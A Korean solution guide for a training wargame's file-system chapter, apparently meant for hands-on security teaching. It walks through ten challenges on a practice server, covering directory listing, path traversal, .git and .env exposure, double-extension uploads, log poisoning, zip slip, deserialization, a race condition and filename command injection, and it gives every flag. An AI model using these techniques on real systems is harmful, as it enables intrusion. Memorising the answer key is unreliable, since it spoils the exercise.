C단계 (3장 로스팅, 파일 시스템 취약점) 풀이집

실행 방법 (문제를 풀기 전에 먼저 하십시오)

이 문제들은 실제로 동작하는 서버이기 때문에, 풀기 전에 먼저 서버를 실행시켜야 합니다. 서버를 한 번만 실행하면 3장 10문제가 전부 그 서버 안에서 함께 동작하므로, 문제를 옮길 때마다 서버를 새로 켤 필요는 없습니다.

1. Node.js 설치 확인

PowerShell을 열고 아래 명령을 실행합니다.

```
node --version
```

버전 번호가 나오면 설치되어 있는 겁니다. "인식할 수 없다"는 오류가 나오면 nodejs.org에서 LTS 버전을 설치한 뒤 PowerShell을 새로 열어서 다시 시도합니다.

2. 통합 서버 실행

VSCode에서 `wargame problems` 폴더(이 `problems` 폴더의 바로 위 폴더)를 작업 폴더로 열고 터미널을 켜면, 아래 명령들이 그대로 통합니다(상대 경로라서 `wargame problems` 폴더를 어디로 옮기든 그대로 작동합니다). PowerShell 창을 하나만 열어서, 아래처럼 `c-filesystem` 폴더로 이동한 뒤 통합 서버를 실행합니다.

```
cd "problems\c-filesystem"
node combined-server.js
```

실행 중이라는 메시지가 뜨면(`C단계 통합 서버 실행: http://localhost:3000/ (문제별 경로: /ch3/01 ~ /ch3/10)`), 그 창은 그대로 켜 둔 채로 브라우저에서 각 문제 주소(`http://localhost:3000/ch3/번호/`)에 접속하면 됩니다. 서버를 끄려면 그 창에서 `Ctrl+C`를 누릅니다.

배포된 사이트로 바로 확인하기

로컬 서버를 직접 띄우지 않고, 이미 배포된 사이트(`https://kload-wargame.onrender.com`)에서 바로 따라 해도 됩니다. 아래 모든 안내에서 `http://localhost:3000`을 `https://kload-wargame.onrender.com`으로 바꿔서 접속하면 똑같이 동작합니다. ("서버가 실행되면..." 같은 로컬 서버 실행 안내 문장은 이 경우 무시하면 됩니다.)

3. 전체 문제·경로 목록

문제	폴더	경로
C1	`01-open-backup`	`/ch3/01/`
C2	`02-path-traversal`	`/ch3/02/`
C3	`03-git-exposure`	`/ch3/03/`
C4	`04-env-leak`	`/ch3/04/`
C5	`05-double-ext-bypass`	`/ch3/05/`
C6	`06-lfi-log-poison`	`/ch3/06/`
C7	`07-bundle-slip`	`/ch3/07/`
C8	`08-phar-deserialize`	`/ch3/08/`
C9	`09-race-condition`	`/ch3/09/`
C10	`10-image-cmd-injection`	`/ch3/10/`

3장 · 01 (하) — 열려 있는 납품 서류 창고

풀이 흐름: 메인 화면에서 `/ch3/01/backup/` 경로 힌트를 확인합니다 → 접속하면 폴더 안 파일 목록이 그대로 보입니다 → `flag.txt`를 클릭해 플래그를 확인합니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
cd "problems\c-filesystem"
```

```
node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/01/` 입니다.

1. `http://localhost:3000/ch3/01/backup/`에 접속합니다.
2. 파일 목록에서 `flag.txt`를 클릭합니다.
3. 플래그가 나옵니다.

플래그: `ROAST{ch3_01_open_backup}`

취약점: 접근을 막아야 할 폴더에 안내 페이지(인덱스)가 없어서, 웹서버가 폴더 안 파일 목록을 그대로 보여 줍니다(디렉토리 리스팅).

3장 · 02 (하) — 레시피 경로를 거슬러 올라가기

풀이 흐름: 정상적인 파일명으로 다운로드가 되는지 확인합니다 → `file` 파라미터에 `../`를 넣어 상위 폴더로 거슬러 올라갑니다 → 레시피 폴더 밖의 `flag.txt`를 읽어냅니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
cd "problems\c-filesystem"
```

```
node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/02/` 입니다.

1. `http://localhost:3000/ch3/02/download?file=recipe1.txt`로 정상 동작을 확인합니다.
2. `http://localhost:3000/ch3/02/download?file=../secret/flag.txt`로 변경해 접속합니다.
3. 플래그가 나옵니다.

플래그: `ROAST{ch3_02_path_traversal}`

취약점: `file` 파라미터를 경로 검증 없이 서버 폴더 경로와 그대로 결합합니다(`file_get_contents` 식 결합). `../`를 쓰면 지정된 폴더 밖으로 나갈 수 있습니다(경로 탐색, Path Traversal).

3장 · 03 (하) — 지워지지 않은 배포 흔적

풀이 흐름: `.git` 폴더가 그대로 노출되어 있는지 확인합니다 → 폴더 목록을 따라 들어가 `logs` 폴더를 확인합니다 → 지워진 줄 알았던 파일에서 플래그를 확인합니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
cd "problems\c-filesystem"
```

```
node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/03/` 입니다.

1. `http://localhost:3000/ch3/03/.git/`에 접속해 폴더가 노출되어 있음을 확인합니다.

2. 목록의 `logs`를 클릭해 `http://localhost:3000/ch3/03/.git/logs/`로 이동합니다.
3. `old-recipe-flag.txt.orig`를 클릭합니다.
4. 플래그가 나옵니다.

플래그: `ROAST{ch3_03_git_exposure}`

취약점: 배포할 때 소스 관리 폴더(`.git`)까지 그대로 올라가서, 지금은 화면에 없는 과거 파일까지 그 폴더를 통해 찾을 수 있습니다. (실제 대회에서는 `git-dumper` 같은 도구로 `.git` 전체를 내려받아 커밋 히스토리를 복원하는 것이 정석입니다. 이 문제에서는 같은 교훈을 전용 도구 없이도 배울 수 있도록 폴더를 목록 형태로 단순화했습니다.)

3장 · 04 (중) — 환경설정이 적힌 쪽지

풀이 흐름: 민감한 설정값이 보통 어디에 저장되는지 생각해봅니다 → `/ch3/04/.env` 경로로 직접 접속합니다 → 파일 내용에서 플래그를 확인합니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
cd "problems\c-filesystem"
```

```
node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/04/` 입니다.

1. `http://localhost:3000/ch3/04/.env`에 접속합니다.
2. 파일 내용 중 `FLAG=` 줄에서 플래그를 확인합니다.

플래그: `ROAST{ch3_04_env_leak}`

취약점: 비밀번호나 API 키 등 민감한 값을 모아두는 `.env` 설정 파일이 실수로 웹에서 바로 열리는 폴더에 놓여 있습니다.

3장 · 05 (중) — 사진처럼 보이는 레시피

풀이 흐름: 이미지가 아닌 파일은 막히는 것을 확인합니다 → 파일명에 `.jpg`를 포함시키고 업로드 시 이미지 Content-Type으로 위장합니다 → 업로드된 파일에 접근해 플래그를 확인합니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
cd "problems\c-filesystem"
```

```
node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/05/` 입니다.

1. 아래 내용으로 `shell.php.jpg` 파일을 만듭니다.

```
<shell><<EXEC>></shell>
```

1. `http://localhost:3000/ch3/05/`에서 이 파일을 업로드합니다(브라우저 폼으로 업로드하면 Content-Type은 브라우저가 자동으로 `image/jpeg`로 보냅니다. 수동으로 확인하려면 개발자 도구의 Network 탭에서 업로드 요청의 Content-Type을 확인하십시오).
2. `http://localhost:3000/ch3/05/uploads/shell.php.jpg?cmd=flag`에 접속합니다.
3. 플래그가 나옵니다.

플래그: `ROAST{ch3_05_double_ext_bypass}`

취약점: 서버가 파일의 진짜 내용은 확인하지 않고, 파일명에 `.jpg`가 포함되는지와 클라이언트가 보낸 Content-Type(둘 다 공격자가 그대로 조작 가능)만 검사합니다. 파일명에 `.php`가 포함되어 있으면 서버 설정상 그 부분이 실행된다고 가정합니다.

3장 · 06 (중) — 접속 기록에 숨긴 코드

풀이 흐름: User-Agent에 실행 표식을 심어 사이트를 한 번 방문합니다 → `name` 파라미터에 `access`를 넣어 접속 기록 자체를 불러오게 만듭니다 → 기록 안에 심어둔 표식이 실행 조건과 맞아떨어져 플래그가 나옵니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
cd "problems\c-filesystem"
```

```
node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/06/` 입니다.

1. PowerShell에서 아래 명령으로 User-Agent에 표식을 심어 한 번 접속합니다.

```
   Invoke-WebRequest -Uri "http://localhost:3000/ch3/06/" -UserAgent "<<EXEC>>" -
UseBasicParsing
```

1. `http://localhost:3000/ch3/06/page?name=access&cmd=flag`에 접속합니다.
2. 플래그가 나옵니다.

플래그: `ROAST{ch3_06_lfi_log_poison}`

취약점: `name` 파라미터를 검증 없이 그대로 불러오는 로컬 파일 포함(LFI) 취약점입니다. 직접 쓰기가 불가능한 곳이라도, 누구나 값을 남길 수 있는 접속 기록(로그)에 코드를 심어두고 그 로그 파일 자체를 불러오게 만들면 코드가 실행됩니다(로그 포이즈닝).

3장 · 07 (중) — 압축을 풀면 열리는 뒷문

풀이 흐름: 묶음 파일 형식을 확인합니다 → 항목 이름에 상위 경로(`../`)를 넣어 웹에서 실행 가능한 위치를 가리키게 만듭니다 → 그 위치에 심어진 파일에 접근해 플래그를 확인합니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
   cd "problems\c-filesystem"
```

```
   node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/07/` 입니다.

1. 아래 내용으로 `b.bundle` 파일을 만듭니다.

```
   #ENTRY ../live/shell.txt
   <<EXEC>>
   #END
```

1. `http://localhost:3000/ch3/07/`에서 이 파일을 업로드합니다.
2. `http://localhost:3000/ch3/07/live/shell.txt?cmd=flag`에 접속합니다.
3. 플래그가 나옵니다.

플래그: `ROAST{ch3_07_bundle_slip}`

취약점: 묶음(압축) 파일을 풀 때 각 항목의 "이름"에 상위 경로가 포함되어 있어도 검사하지 않고 그대로 믿습니다. 항목 이름을 조작하면 원래 지정된 폴더 밖, 웹에서 실행 가능한 위치에 파일을 심을 수 있습니다(Zip Slip과 같은 원리).

3장 · 08 (상) — 압축 안에 숨은 객체

풀이 흐름: "객체 묶음" 형식을 확인합니다 → 위험한 클래스 표식이 담긴 묶음을 업로드합니다 → 단순히 "존재 확인"만 요청해도 내부 객체가 자동으로 복원되어 동작하는 것을 확인합니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
cd "problems\c-filesystem"
```

```
node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/08/` 입니다.

1. 아래 내용으로 `evil.bundle` 파일을 만듭니다.

```
#ENTRY object
CLASS:LogCleaner
#END
```

1. `http://localhost:3000/ch3/08/`에서 이 파일을 업로드합니다.
2. `http://localhost:3000/ch3/08/check-object?name=evil.bundle`에 접속합니다(이름은 "존재 확인"일 뿐인데도 내부 객체가 복원됩니다).
3. 플래그가 나옵니다.

플래그: `ROAST{ch3_08_phar_deserialize}`

취약점: 파일 존재 확인처럼 안전해 보이는 요청이, 실제로는 그 파일 내용을 "역직렬화"(저장된 데이터를 다시 프로그램 객체로 되살리는 과정)해서 그 안에 적힌 클래스를 자동으로 동작시켜 버립니다(PHP의 `unserialize` + phar 스트림 체이닝과 같은 원리). 겉보기엔 읽기 전용처럼 보이는 함수가 실제로는 코드를 실행시킨다는 게 핵심입니다.

3장 · 09 (상) — 검사와 삭제 사이의 짧은 순간

풀이 흐름: 업로드하면 결국 위험 판정으로 삭제된다는 것을 확인합니다 → 삭제되기 전의 짧은 시간 동안 실행 조건으로 반복 접근합니다 → 삭제되기 전에 들어간 요청에서 플래그를 확인합니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
cd "problems\c-filesystem"
```

```
node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/09/` 입니다.

1. 아래 내용으로 `shell.txt` 파일을 만듭니다.

```
<shell><<EXEC>></shell>
```

1. PowerShell에서 아래 스크립트를 실행합니다(업로드 직후 0.35초 동안 빠르게 반복 요청합니다).

```
$filePath = "shell.txt 파일의 전체 경로"
$form = @{ recipe = Get-Item -Path $filePath }
Invoke-WebRequest -Uri "http://localhost:3000/ch3/09/upload" -Method POST -
Form $form -UseBasicParsing | Out-Null
$deadline = (Get-Date).AddMilliseconds(350)
while ((Get-Date) -lt $deadline) {
    $resp = Invoke-WebRequest -Uri
"http://localhost:3000/ch3/09/uploads/shell.txt?cmd=flag" -UseBasicParsing
    if ($resp.Content -match "ROAST\{[^}]*\}") {
        Write-Host $matches[0]
        break
    }
}
```

1. 성공하면 콘솔에 플래그가 출력됩니다. 실패하면(삭제 타이밍을 놓치면) 3번을 다시 실행해 보십시오.

플래그: `ROAST{ch3_09_race_condition}`

취약점: 업로드 기능이 파일을 먼저 "실행 가능한 위치"에 저장한 다음에야 내용을 검사하고, 위험하면 그제서야 지웁니다. "저장 완료 시점"과 "위험 판정 후 삭제 시점" 사이에 파일이 실행 가능한 상태로 짧게 존재하는 레이스 컨디션(TOCTOU, Time-Of-Check to Time-Of-Use)이 있습니다.

3장 · 10 (상, 3장 마지막 문제) — 이미지 처리 프로그램 커맨드 인젝션

풀이 흐름: 업로드된 사진이 외부 이미지 처리 프로그램으로 자동 변환된다는 것을 확인합니다 → 파일 이름 안에 셸 명령처럼 보이는 패턴을 심어 업로드합니다 → 잠시 뒤 처리 상태를 확인해 명령이 실행됐는지 봅니다.

실행:

1. 터미널(PowerShell)을 열고 서버를 실행합니다.

```
cd "problems\c-filesystem"
```

```
node combined-server.js
```

서버가 실행되면, 그 창은 그대로 켜 둔 채로 다음 단계를 진행합니다(끌 때는 그 창에서 `Ctrl+C`). 문제 주소는 `http://localhost:3000/ch3/10/` 입니다.

1. 파일명을 다음과 같이 지정해 아무 내용이나 담긴 파일을 업로드합니다.

```
pic`FLAG_CMD`.jpg
```

1. `http://localhost:3000/ch3/10/`에서 이 파일명으로 업로드합니다.
2. 1초 정도 기다린 뒤 `http://localhost:3000/ch3/10/thumbnail-status`에 접속합니다.
3. "명령 실행됨" 화면에서 전체 워게임 최종 플래그가 나옵니다.

플래그: `ROAST{ch3_10_image_cmd_injection}`

취약점: 업로드된 파일 이름이 검증 없이 외부 이미지 처리 프로그램에 그대로 전달됩니다. 그 프로그램이 특정 패턴(역따옴표로 감싼 부분)을 셸 명령으로 착각해 실행하는 오래된 취약점을 가지고 있습니다(ImageTragick류 취약점과 같은 원리). 지금까지의 문제들이 "이 서버 코드 자체"의 허점이었다면, 이 문제는 "서버가 믿고 가져다 쓰는 외부 프로그램"까지 공격 범위가 넓어진다는 걸 보여줍니다.